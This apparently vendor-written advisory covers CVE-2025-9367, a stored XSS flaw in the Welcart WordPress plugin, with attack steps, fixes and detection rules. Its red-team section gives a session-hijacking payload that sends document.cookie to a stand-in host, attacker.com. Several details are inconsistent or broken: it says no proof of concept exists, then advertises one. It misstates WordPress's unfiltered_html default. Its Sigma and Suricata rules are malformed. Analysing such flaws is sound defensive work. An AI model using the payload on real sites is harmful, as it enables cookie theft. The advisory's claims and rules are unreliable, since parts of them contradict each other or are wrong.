CVE-2025-9367
Executive Summary
CVE-2025-9367 is a Stored Cross-Site Scripting (XSS) vulnerability in the Welcart e-Commerce plugin for WordPress, affecting all versions up to and including 2.11.20. The flaw arises from insufficient input sanitization and output escaping in plugin settings, allowing authenticated attackers with editor-level permissions or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site WordPress installations or environments where unfiltered_html has been disabled. With a CVSS score of 5.5 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress setups. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or any other web server software. The attack vector relies on WordPress user roles and the plugin’s settings interface, making it a WordPress-specific threat.
CVSS Breakdown & Threat Level
- CVSS Score: 5.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The attack is executed over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): High – Attacker needs editor-level or higher WordPress role.
- User Interaction (UI): Required – A user must visit the injected page.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Script injection can modify content.
- Availability (A): Low – Potential for minor disruption.
Threat Level: Medium. The requirement for authenticated access and specific WordPress configurations reduces the attack surface, but successful exploitation can lead to persistent script execution across multi-site networks.
Deep Dive & Mechanics
The vulnerability resides in the Welcart plugin’s settings handling. The plugin fails to properly sanitize user input and escape output when processing settings values. In a multi-site WordPress installation, editors (or higher roles) can modify plugin settings that are later rendered on the frontend or admin pages without proper escaping. This allows injection of arbitrary JavaScript or HTML.
Key Conditions for Exploitation:
- The WordPress installation must be a multi-site network (WordPress Multisite).
- Alternatively, the
unfiltered_htmlcapability must be disabled for the attacker’s role (default for editors in single-site installations). - The attacker must have editor-level or higher permissions.
Attack Flow:
- Attacker logs in as an editor or administrator.
- Navigates to Welcart plugin settings (e.g.,
/wp-admin/admin.php?page=welcart_settings). - Injects malicious script into a settings field (e.g., a text input for custom CSS or JavaScript).
- The script is stored in the database without sanitization.
- When any user (including lower-privileged users or visitors) accesses a page that renders this setting, the script executes in their browser.
Impact: Stored XSS can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. In a multi-site environment, the attack can propagate across all sites in the network.
Vulnerable vs. Patched Code
Since no official patch is available, the following illustrates the vulnerable pattern and a potential fix.
Vulnerable Code (Example from Welcart settings handler):
// Vulnerable: No sanitization or escaping
update_option('welcart_custom_css', $_POST['welcart_custom_css']);
// Later in output:
echo '<style>' . get_option('welcart_custom_css') . '</style>';
Patched Code (Recommended Fix):
// Sanitize input
$custom_css = sanitize_text_field($_POST['welcart_custom_css']);
update_option('welcart_custom_css', $custom_css);
// Escape output
echo '<style>' . esc_html(get_option('welcart_custom_css')) . '</style>';
Key Differences:
- Input: Use
sanitize_text_field()orwp_kses()to strip malicious content. - Output: Use
esc_html()oresc_attr()to prevent script execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress multi-site installation with Welcart plugin <= 2.11.20.
- Editor-level account on the network.
Steps:
- Log in as an editor.
- Navigate to
Settings > Welcart e-Commercein the WordPress admin. - Locate a text field (e.g., "Custom CSS" or "Footer Script").
- Inject the following payload:
<script>alert('XSS')</script> - Save the settings.
- Visit any frontend page that renders the setting (e.g., the shop page). The script executes.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor WordPress admin logs for unusual settings changes by editors.
- Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to
/wp-admin/admin.php. - Implement Content Security Policy (CSP) headers to restrict script execution.
Lab Setup for Testing:
- Use a local WordPress multi-site environment (e.g., via Docker or Local by Flywheel).
- Install Welcart plugin version 2.11.20.
- Create an editor user and test the injection.
Indicators of Compromise (IOCs)
- File System: Modified Welcart plugin files (e.g.,
wp-content/plugins/welcart-e-commerce/). - Database: Suspicious entries in
wp_optionstable with keys likewelcart_custom_cssorwelcart_footer_scriptcontaining<script>tags. - Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
- Logs: WordPress debug logs showing
wp_ksesor sanitization failures.
Example IOC (Database Query):
SELECT * FROM wp_options WHERE option_name LIKE '%welcart%' AND option_value LIKE '%<script>%';
Detection Engineering
YARA Rule
rule Welcart_Stored_XSS_CVE_2025_9367 {
meta:
description = "Detects stored XSS payloads in Welcart plugin settings"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-9367"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/s
$welcart_option = /welcart_[a-z_]+/
condition:
$welcart_option and $xss_payload
}
Sigma Rule
title: Welcart Stored XSS via Settings
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in Welcart plugin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin.php'
http.body: 'welcart_*'
http.body: '<script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in settings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9367 Welcart Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"welcart_"; http_client_body; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Welcart plugin on multi-site installations until a patch is released.
- Restrict editor permissions – Remove editor access to plugin settings if not required.
- Enable
unfiltered_htmlonly for trusted users (note: this increases risk). - Apply a Web Application Firewall (WAF) rule to block XSS patterns in POST requests to
admin.php.
Long-Term Fix:
- Monitor the Welcart plugin repository for an official patch (version > 2.11.20).
- Implement input sanitization and output escaping in custom code (see patched code example).
- Conduct regular security audits of WordPress plugins.
Workaround:
- Use a security plugin (e.g., Wordfence) to block XSS attempts.
- Manually edit the plugin files to add sanitization (not recommended for production without testing).
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.